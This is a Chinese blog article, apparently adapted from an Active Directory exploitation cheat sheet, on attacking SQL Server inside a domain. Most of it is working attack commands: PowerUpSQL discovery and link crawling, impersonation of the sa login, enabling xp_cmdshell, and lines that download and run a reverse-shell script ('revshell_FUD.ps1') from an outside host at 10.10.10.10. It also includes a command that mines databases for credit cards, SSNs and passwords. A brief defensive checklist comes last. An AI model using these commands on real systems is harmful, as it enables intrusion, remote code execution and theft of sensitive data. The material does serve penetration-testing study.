Active Directory数据库狩猎:SQL Server攻击技术详解

张开发
2026/4/7 22:28:52 15 分钟阅读

分享文章

Active Directory数据库狩猎:SQL Server攻击技术详解
Active Directory数据库狩猎SQL Server攻击技术详解【免费下载链接】Active-Directory-Exploitation-Cheat-SheetA cheat sheet that contains common enumeration and attack methods for Windows Active Directory.项目地址: https://gitcode.com/gh_mirrors/act/Active-Directory-Exploitation-Cheat-Sheet在Active Directory环境中SQL Server数据库常常成为攻击者的重要目标。本文将详细介绍针对SQL Server的攻击技术帮助安全人员了解潜在威胁并加强防御措施。SQL Server发现技术在进行SQL Server攻击之前首先需要发现网络中的SQL Server实例。PowerUpSQL工具提供了多种发现方法域内SQL Server发现通过Active Directory域服务发现SQL Server实例Import-Module .\PowerupSQL.psd1 Get-SQLInstanceDomain本地SQL Server发现扫描本地系统查找SQL Server实例Get-SQLInstanceLocal -Verbose远程SQL Server发现通过网络扫描发现远程SQL Server实例Get-SQLInstanceBroadcast -Verbose Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1![SQL Server发现工具界面](https://raw.gitcode.com/gh_mirrors/act/Active-Directory-Exploitation-Cheat-Sheet/raw/702daf94e384589cdc81fe62f1337b390ce06488/Z - Tool Box/Mssqli-RID-Bruteforcing/images/mssqli-plugin2.png?utm_sourcegitcode_repo_files)图MSSQLi-DUET工具界面可通过SQL注入枚举Active Directory用户、组和计算机SQL Server连接与信息收集成功发现SQL Server实例后需要测试连接并收集详细信息。测试SQL Server连接Get-SQLConnectionTestThreaded Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose收集SQL Server信息获取SQL Server版本、服务账户、权限等关键信息Get-SQLServerInfo -Verbose -Instance SQLServer1\Instance1![AdHoc查询获取域用户信息](https://raw.gitcode.com/gh_mirrors/act/Active-Directory-Exploitation-Cheat-Sheet/raw/702daf94e384589cdc81fe62f1337b390ce06488/Z - Tool Box/PowerUpSQL/images/ADS_Query_AdHoc.png?utm_sourcegitcode_repo_files)图使用AdHoc查询通过SQL Server获取Active Directory域用户信息SQL Server权限提升技术利用数据库链接SQL Server的数据库链接功能可被滥用来横向移动Get-SQLServerLink -Instance db-mssql -Verbose Get-SQLServerLinkCrawl -Instance db-mssql -Verbose登录模拟攻击通过模拟高权限登录获取系统控制权-- 模拟sa登录 EXECUTE AS LOGIN sa -- 启用xp_cmdshell EXEC sp_configure show advanced options,1 RECONFIGURE EXEC sp_configure xp_cmdshell,1 RECONFIGURE -- 执行系统命令 EXEC master..xp_cmdshell powershell iex (New-Object Net.WebClient).DownloadString(http://10.10.10.10/revshell.ps1)![链接服务器查询获取域用户信息](https://raw.gitcode.com/gh_mirrors/act/Active-Directory-Exploitation-Cheat-Sheet/raw/702daf94e384589cdc81fe62f1337b390ce06488/Z - Tool Box/PowerUpSQL/images/ADS_Query_LinkServer.png?utm_sourcegitcode_repo_files)图通过链接服务器查询获取Active Directory域用户信息SQL Server攻击实战使用xp_cmdshell执行命令Get-SQLServerLinkCrawl -Instance db-mssql -Query exec master..xp_cmdshell whoami执行反向shellGet-SQLServerLinkCrawl -Instance db-mssql -Query exec master..xp_cmdshell powershell iex (New-Object Net.WebClient).DownloadString(http://10.10.10.10:1433/revshell_FUD.ps1)数据挖掘与敏感信息提取Get-SQLInstanceDomain | Get-SQLConnectionTest | Get-SQLColumnSampleDataThreaded -Verbose -Threads 10 -Keyword credit,ssn,password -SampleSize 2 -ValidateCC -NoDefaults![SQL注入攻击演示](https://raw.gitcode.com/gh_mirrors/act/Active-Directory-Exploitation-Cheat-Sheet/raw/702daf94e384589cdc81fe62f1337b390ce06488/Z - Tool Box/Mssqli-RID-Bruteforcing/images/plugin-demo.gif?utm_sourcegitcode_repo_files)图SQL注入攻击演示通过注入获取数据库信息SQL Server安全防御建议限制SQL Server服务账户权限避免使用高权限账户禁用不必要的功能如xp_cmdshell、OLE Automation Procedures等定期审计SQL Server配置和权限使用防火墙限制SQL Server访问启用SQL Server审计功能记录关键操作定期更新SQL Server补丁使用强密码策略避免弱密码通过了解这些SQL Server攻击技术安全人员可以更好地保护Active Directory环境中的数据库资产防范潜在的安全威胁。【免费下载链接】Active-Directory-Exploitation-Cheat-SheetA cheat sheet that contains common enumeration and attack methods for Windows Active Directory.项目地址: https://gitcode.com/gh_mirrors/act/Active-Directory-Exploitation-Cheat-Sheet创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

更多文章